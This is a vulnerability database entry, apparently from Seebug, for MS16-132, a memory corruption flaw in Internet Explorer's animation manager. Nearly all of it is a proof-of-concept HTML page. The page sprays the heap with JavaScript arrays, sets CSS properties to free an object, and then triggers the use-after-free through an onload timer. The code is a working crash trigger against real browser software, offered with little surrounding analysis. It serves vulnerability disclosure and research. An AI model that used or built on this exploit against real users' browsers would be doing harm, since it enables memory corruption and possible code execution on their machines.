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Microsoft Windows Internet Explorer the animation Manager memory corruption vulnerability (MS16-132)

🗓️ 10 Nov 2016 00:00:00Reported by RootType 
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 seebug
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Microsoft Windows Internet Explorer memory corruption vulnerability (MS16-132) via specially crafted JavaScrip

Code

                                                <!-- PoC参考 http://www.security-assessment.com/files/documents/advisory/ie_animation_manager_uaf.pdf -->

<!DOCTYPE HTML> <html>
<head>
<script>
function boom() {
var strarr = new Array();
var arrarr = new Array(); 
var sprayarr = new Array();

function spray() {
var aa = "aa";
for(var i=0;i<50000;i++) {
strarr[i] = aa.toUpperCase();
arrarr[i] = new Array(1,2,3,4,5); }
for(var i=0;i<2000;i++) {
var tmparr = new Array(16000); for(var j=0;j<16000;j++) {
tmparr[j] = strarr[25000]; }
sprayarr[i] = tmparr; 
}
}

//Need to pressure memory to trigger? 
spray()
//Set style to free

document.getElementById("el1").style.float = 'right' document.getElementById("el1").style.transitionDuration = '1s' document.getElementById("el1").style.perspectiveOrigin = '+1.0e+100vh 1em'

//Trigger crash

setTimeout(function(){try{document.body.innerHTML += "a"}catch(e){};}, 100)} </script>
</head>

<body onload="setTimeout('boom()', 500)">
<span id="el1" ></span>
<progress></progress>
<p style="transform: translateY(1) scale(1,1) skew(1deg,1deg) scaleY(1)"></p> </body>
</html>
                              

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